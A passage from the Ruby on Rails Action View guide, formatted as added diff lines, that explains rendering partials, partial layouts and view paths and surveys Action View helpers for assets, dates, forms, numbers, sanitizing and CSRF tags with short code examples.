+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+#### `render` without `partial` and `locals` options
+
+In the above example, `render` takes 2 options: `partial` and `locals`. But if
+these are the only options you want to pass, you can skip using these options.
+For example, instead of:
+
+```erb
+<%= render partial: "product", locals: { product: @product } %>
+```
+
+You can also do:
+
+```erb
+<%= render "product", product: @product %>
+```
+
+#### The `as` and `object` options
+
+By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given:
+
+```erb
+<%= render partial: "product" %>
+```
+
+within `_product` partial we'll get `@product` in the local variable `product`,
+as if we had written:
+
+```erb
+<%= render partial: "product", locals: { product: @product } %>
+```
+
+The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable).
+
+For example, instead of:
+
+```erb
+<%= render partial: "product", locals: { product: @item } %>
+```
+
+we would do:
+
+```erb
+<%= render partial: "product", object: @item %>
+```
+
+With the `as` option we can specify a different name for the said local variable. For example, if we wanted it to be `item` instead of `product` we would do:
+
+```erb
+<%= render partial: "product", object: @item, as: "item" %>
+```
+
+This is equivalent to
+
+```erb
+<%= render partial: "product", locals: { item: @item } %>
+```
+
+#### Rendering Collections
+
+It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+
+So this example for rendering all the products:
+
+```erb
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+```
+
+can be rewritten in a single line:
+
+```erb
+<%= render partial: "product", collection: @products %>
+```
+
+When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the collection member that is being rendered.
+
+You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
+
+```erb
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.
+
+#### Spacer Templates
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+```erb
+<%= render partial: @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
+
+### Layouts
+
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+
+Partial Layouts
+---------------
+
+Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.
+
+Let's say we're displaying an article on a page which should be wrapped in a `div` for display purposes. Firstly, we'll create a new `Article`:
+
+```ruby
+Article.create(body: 'Partial Layouts are cool!')
+```
+
+In the `show` template, we'll render the `_article` partial wrapped in the `box` layout:
+
+**articles/show.html.erb**
+
+```erb
+<%= render partial: 'article', layout: 'box', locals: { article: @article } %>
+```
+
+The `box` layout simply wraps the `_article` partial in a `div`:
+
+**articles/_box.html.erb**
+
+```html+erb
+<div class='box'>
+  <%= yield %>
+</div>
+```
+
+Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead:
+
+**articles/show.html.erb**
+
+```html+erb
+<% render(layout: 'box', locals: { article: @article }) do %>
+  <div>
+    <p><%= article.body %></p>
+  </div>
+<% end %>
+```
+
+Supposing we use the same `_box` partial from above, this would produce the same output as the previous example.
+
+View Paths
+----------
+
+When rendering a response, the controller needs to resolve where the different
+views are located. By default it only looks inside the `app/views` directory.
+
+We can add other locations and give them a certain precedence when resolving
+paths using the `prepend_view_path` and `append_view_path` methods.
+
+### Prepend view path
+
+This can be helpful for example, when we want to put views inside a different
+directory for subdomains.
+
+We can do this by using:
+
+```ruby
+prepend_view_path "app/views/#{request.subdomain}"
+```
+
+Then Action View will look first in this directory when resolving views.
+
+### Append view path
+
+Similarly, we can append paths:
+
+```ruby
+append_view_path "app/views/direct"
+```
+
+This will add `app/views/direct` to the end of the lookup paths.
+
+Overview of helpers provided by Action View
+-------------------------------------------
+
+WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html)
+
+The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point.
+
+### AssetTagHelper
+
+This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`:
+
+```ruby
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+```
+
+#### auto_discovery_link_tag
+
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed.
+
+```ruby
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # =>
+  <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
+```
+
+#### image_path
+
+Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path.
+
+```ruby
+image_path("edit.png") # => /assets/edit.png
+```
+
+Fingerprint will be added to the filename if config.assets.digest is set to true.
+
+```ruby
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+```
+
+#### image_url
+
+Computes the URL to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
+
+```ruby
+image_url("edit.png") # => http://www.example.com/assets/edit.png
+```
+
+#### image_tag
+
+Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+
+```ruby
+image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
+```
+
+#### javascript_include_tag
+
+Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
+
+```ruby
+javascript_include_tag "common" # => <script src="/assets/common.js"></script>
+```
+
+#### javascript_path
+
+Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
+
+```ruby
+javascript_path "common" # => /assets/common.js
+```
+
+#### javascript_url
+
+Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host.
+
+```ruby
+javascript_url "common" # => http://www.example.com/assets/common.js
+```
+
+#### stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.
+
+```ruby
+stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
+```
+
+#### stylesheet_path
+
+Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+
+```ruby
+stylesheet_path "application" # => /assets/application.css
+```
+
+#### stylesheet_url
+
+Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host.
+
+```ruby
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+```
+
+### AtomFeedHelper
+
+#### atom_feed
+
+This helper makes building an Atom feed easy. Here's a full usage example:
+
+**config/routes.rb**
+
+```ruby
+resources :articles
+```
+
+**app/controllers/articles_controller.rb**
+
+```ruby
+def index
+  @articles = Article.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+```
+
+**app/views/articles/index.atom.builder**
+
+```ruby
+atom_feed do |feed|
+  feed.title("Articles Index")
+  feed.updated(@articles.first.created_at)
+
+  @articles.each do |article|
+    feed.entry(article) do |entry|
+      entry.title(article.title)
+      entry.content(article.body, type: 'html')
+
+      entry.author do |author|
+        author.name(article.author_name)
+      end
+    end
+  end
+end
+```
+
+### BenchmarkHelper
+
+#### benchmark
+
+Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
+
+```html+erb
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+```
+
+This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+
+### CacheHelper
+
+#### cache
+
+A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information.
+
+```erb
+<% cache do %>
+  <%= render "shared/footer" %>
+<% end %>
+```
+
+### CaptureHelper
+
+#### capture
+
+The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+
+```html+erb
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+```
+
+The captured variable can then be used anywhere else.
+
+```html+erb
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+```
+
+#### content_for
+
+Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`.
+
+For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site.
+
+**app/views/layouts/application.html.erb**
+
+```html+erb
+<html>
+  <head>
+    <title>Welcome!</title>
+    <%= yield :special_script %>
+  </head>
+  <body>
+    <p>Welcome! The date and time is <%= Time.now %></p>
+  </body>
+</html>
+```
+
+**app/views/articles/special.html.erb**
+
+```html+erb
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+  <script>alert('Hello!')</script>
+<% end %>
+```
+
+### DateHelper
+
+#### date_select
+
+Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
+
+```ruby
+date_select("article", "published_on")
+```
+
+#### datetime_select
+
+Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
+
+```ruby
+datetime_select("article", "published_on")
+```
+
+#### distance_of_time_in_words
+
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.
+
+```ruby
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds
+```
+
+#### select_date
+
+Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided.
+
+```ruby
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+```
+
+#### select_datetime
+
+Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
+
+```ruby
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+```
+
+#### select_day
+
+Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+
+```ruby
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+```
+
+#### select_hour
+
+Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+
+```ruby
+# Generates a select field for hours that defaults to the hours for the time provided
+select_hour(Time.now + 6.hours)
+```
+
+#### select_minute
+
+Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+
+```ruby
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 10.minutes)
+```
+
+#### select_month
+
+Returns a select tag with options for each of the months January through December with the current month selected.
+
+```ruby
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+```
+
+#### select_second
+
+Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+
+```ruby
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.seconds)
+```
+
+#### select_time
+
+Returns a set of HTML select-tags (one for hour and minute).
+
+```ruby
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+```
+
+#### select_year
+
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`.
+
+```ruby
+# Generates a select field for five years on either side of Date.today that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, start_year: 1900, end_year: 2009)
+```
+
+#### time_ago_in_words
+
+Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`.
+
+```ruby
+time_ago_in_words(3.minutes.from_now)  # => 3 minutes
+```
+
+#### time_select
+
+Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+
+```ruby
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+```
+
+### DebugHelper
+
+Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+
+```ruby
+my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
+debug(my_hash)
+```
+
+```html
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+```
+
+### FormHelper
+
+Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
+
+There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation.
+
+The core method of this helper, `form_for`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
+
+```html+erb
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<%= form_for @person, url: { action: "create" } do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= submit_tag 'Create' %>
+<% end %>
+```
+
+The HTML generated for this would be:
+
+```html
+<form action="/people/create" method="post">
+  <input id="person_first_name" name="person[first_name]" type="text" />
+  <input id="person_last_name" name="person[last_name]" type="text" />
+  <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The params object created when this form is submitted would look like:
+
+```ruby
+{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } }
+```
+
+The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+
+#### check_box
+
+Returns a checkbox tag tailored for accessing a specified attribute.
+
+```ruby
+# Let's say that @article.validated? is 1:
+check_box("article", "validated")
+# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
+#    <input name="article[validated]" type="hidden" value="0" />
+```
+
+#### fields_for
+
+Creates a scope around a specific model object like `form_for`, but doesn't create the form tags themselves. This makes `fields_for` suitable for specifying additional model objects in the same form:
+
+```html+erb
+<%= form_for @person, url: { action: "update" } do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+<% end %>
+```
+
+#### file_field
+
+Returns a file upload input tag tailored for accessing a specified attribute.
+
+```ruby
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+```
+
+#### form_for
+
+Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
+
+```html+erb
+<%= form_for @article do |f| %>
+  <%= f.label :title, 'Title' %>:
+  <%= f.text_field :title %><br>
+  <%= f.label :body, 'Body' %>:
+  <%= f.text_area :body %><br>
+<% end %>
+```
+
+#### hidden_field
+
+Returns a hidden input tag tailored for accessing a specified attribute.
+
+```ruby
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+```
+
+#### label
+
+Returns a label tag tailored for labelling an input field for a specified attribute.
+
+```ruby
+label(:article, :title)
+# => <label for="article_title">Title</label>
+```
+
+#### password_field
+
+Returns an input tag of the "password" type tailored for accessing a specified attribute.
+
+```ruby
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+```
+
+#### radio_button
+
+Returns a radio button tag for accessing a specified attribute.
+
+```ruby
+# Let's say that @article.category returns "rails":
+radio_button("article", "category", "rails")
+radio_button("article", "category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
+```
+
+#### text_area
+
+Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
+
+```ruby
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+```
+
+#### text_field
+
+Returns an input tag of the "text" type tailored for accessing a specified attribute.
+
+```ruby
+text_field(:article, :title)
+# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />
+```
+
+#### email_field
+
+Returns an input tag of the "email" type tailored for accessing a specified attribute.
+
+```ruby
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+```
+
+#### url_field
+
+Returns an input tag of the "url" type tailored for accessing a specified attribute.
+
+```ruby
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
+```
+
+### FormOptionsHelper
+
+Provides a number of methods for turning different kinds of containers into a set of option tags.
+
+#### collection_select
+
+Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Article < ApplicationRecord
+  belongs_to :author
+end
+
+class Author < ApplicationRecord
+  has_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Article, `@article`):
+
+```ruby
+collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true })
+```
+
+If `@article.author_id` is 1, this would return:
+
+```html
+<select name="article[author_id]">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+```
+
+#### collection_radio_buttons
+
+Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Article < ApplicationRecord
+  belongs_to :author
+end
+
+class Author < ApplicationRecord
+  has_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Article, `@article`):
+
+```ruby
+collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)
+```
+
+If `@article.author_id` is 1, this would return:
+
+```html
+<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
+<label for="article_author_id_1">D. Heinemeier Hansson</label>
+<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
+<label for="article_author_id_2">D. Thomas</label>
+<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
+<label for="article_author_id_3">M. Clark</label>
+```
+
+#### collection_check_boxes
+
+Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Article < ApplicationRecord
+  has_and_belongs_to_many :authors
+end
+
+class Author < ApplicationRecord
+  has_and_belongs_to_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+```
+
+Sample usage (selecting the associated Authors for an instance of Article, `@article`):
+
+```ruby
+collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)
+```
+
+If `@article.author_ids` is [1], this would return:
+
+```html
+<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="article_author_ids_1">D. Heinemeier Hansson</label>
+<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
+<label for="article_author_ids_2">D. Thomas</label>
+<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
+<label for="article_author_ids_3">M. Clark</label>
+<input name="article[author_ids][]" type="hidden" value="" />
+```
+
+#### option_groups_from_collection_for_select
+
+Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments.
+
+Example object structure for use with this method:
+
+```ruby
+class Continent < ApplicationRecord
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ApplicationRecord
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+```
+
+Sample usage:
+
+```ruby
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+```
+
+Possible output:
+
+```html
+<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+```
+
+Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
+
+#### options_for_select
+
+Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
+
+```ruby
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### options_from_collection_for_select
+
+Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text.
+
+```ruby
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+```
+
+For example, imagine a loop iterating over each person in `@project.people` to generate an input tag:
+
+```ruby
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### select
+
+Create a select tag and a series of contained option tags for the provided object and method.
+
+Example:
+
+```ruby
+select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true })
+```
+
+If `@article.person_id` is 1, this would become:
+
+```html
+<select name="article[person_id]">
+  <option value=""></option>
+  <option value="1" selected="selected">David</option>
+  <option value="2">Eileen</option>
+  <option value="3">Rafael</option>
+</select>
+```
+
+#### time_zone_options_for_select
+
+Returns a string of option tags for pretty much any time zone in the world.
+
+#### time_zone_select
+
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+
+```ruby
+time_zone_select( "user", "time_zone")
+```
+
+#### date_field
+
+Returns an input tag of the "date" type tailored for accessing a specified attribute.
+
+```ruby
+date_field("user", "dob")
+```
+
+### FormTagHelper
+
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+
+#### check_box_tag
+
+Creates a check box form input tag.
+
+```ruby
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+```
+
+#### field_set_tag
+
+Creates a field set for grouping HTML form elements.
+
+```html+erb
+<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+```
+
+#### file_field_tag
+
+Creates a file upload field.
+
+```html+erb
+<%= form_tag({ action: "post" }, multipart: true) do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+```
+
+Example output:
+
+```ruby
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+```
+
+#### form_tag
+
+Starts a form tag that points the action to a URL configured with `url_for_options` just like `ActionController::Base#url_for`.
+
+```html+erb
+<%= form_tag '/articles' do %>
+  <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+```
+
+#### hidden_field_tag
+
+Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
+
+```ruby
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+```
+
+#### image_submit_tag
+
+Displays an image which when clicked will submit the form.
+
+```ruby
+image_submit_tag("login.png")
+# => <input src="/images/login.png" type="image" />
+```
+
+#### label_tag
+
+Creates a label field.
+
+```ruby
+label_tag 'name'
+# => <label for="name">Name</label>
+```
+
+#### password_field_tag
+
+Creates a password field, a masked text field that will hide the users input behind a mask character.
+
+```ruby
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+```
+
+#### radio_button_tag
+
+Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
+
+```ruby
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+```
+
+#### select_tag
+
+Creates a dropdown selection box.
+
+```ruby
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+```
+
+#### submit_tag
+
+Creates a submit button with the text provided as the caption.
+
+```ruby
+submit_tag "Publish this article"
+# => <input name="commit" type="submit" value="Publish this article" />
+```
+
+#### text_area_tag
+
+Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+
+```ruby
+text_area_tag 'article'
+# => <textarea id="article" name="article"></textarea>
+```
+
+#### text_field_tag
+
+Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
+
+```ruby
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+```
+
+#### email_field_tag
+
+Creates a standard input field of email type.
+
+```ruby
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+```
+
+#### url_field_tag
+
+Creates a standard input field of url type.
+
+```ruby
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+```
+
+#### date_field_tag
+
+Creates a standard input field of date type.
+
+```ruby
+date_field_tag "dob"
+# => <input id="dob" name="dob" type="date" />
+```
+
+### JavaScriptHelper
+
+Provides functionality for working with JavaScript in your views.
+
+#### escape_javascript
+
+Escape carrier returns and single and double quotes for JavaScript segments.
+
+#### javascript_tag
+
+Returns a JavaScript tag wrapping the provided code.
+
+```ruby
+javascript_tag "alert('All is good')"
+```
+
+```html
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+```
+
+### NumberHelper
+
+Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
+
+#### number_to_currency
+
+Formats a number into a currency string (e.g., $13.65).
+
+```ruby
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+```
+
+#### number_to_human_size
+
+Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
+
+```ruby
+number_to_human_size(1234)          # => 1.2 KB
+number_to_human_size(1234567)       # => 1.2 MB
+```
+
+#### number_to_percentage
+
+Formats a number as a percentage string.
+
+```ruby
+number_to_percentage(100, precision: 0)        # => 100%
+```
+
+#### number_to_phone
+
+Formats a number into a phone number (US by default).
+
+```ruby
+number_to_phone(1235551234) # => 123-555-1234
+```
+
+#### number_with_delimiter
+
+Formats a number with grouped thousands using a delimiter.
+
+```ruby
+number_with_delimiter(12345678) # => 12,345,678
+```
+
+#### number_with_precision
+
+Formats a number with the specified level of `precision`, which defaults to 3.
+
+```ruby
+number_with_precision(111.2345)     # => 111.235
+number_with_precision(111.2345, precision: 2)  # => 111.23
+```
+
+### SanitizeHelper
+
+The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
+
+#### sanitize
+
+This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.
+
+```ruby
+sanitize @article.body
+```
+
+If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else.
+
+```ruby
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+```
+
+To change defaults for multiple uses, for example adding table tags to the default:
+
+```ruby
+class Application < Rails::Application
+  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+end
+```
+
+#### sanitize_css(style)
+
+Sanitizes a block of CSS code.
+
+#### strip_links(html)
+Strips all link tags from text leaving just the link text.
+
+```ruby
+strip_links('<a href="http://rubyonrails.org">Ruby on Rails</a>')
+# => Ruby on Rails
+```
+
+```ruby
+strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.')
+# => emails to me@email.com.
+```
+
+```ruby
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
+```
+
+#### strip_tags(html)
+
+Strips all HTML tags from the html, including comments.
+This functionality is powered by the rails-html-sanitizer gem.
+
+```ruby
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+```
+
+```ruby
+strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
+# => Bold no more!  See more
+```
+
+NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.
+
+### CsrfHelper
+
+Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+request forgery protection parameter and token, respectively.
+
+```html
+<%= csrf_meta_tags %>
+```
+
+NOTE: Regular forms generate hidden fields so they do not use these tags. More
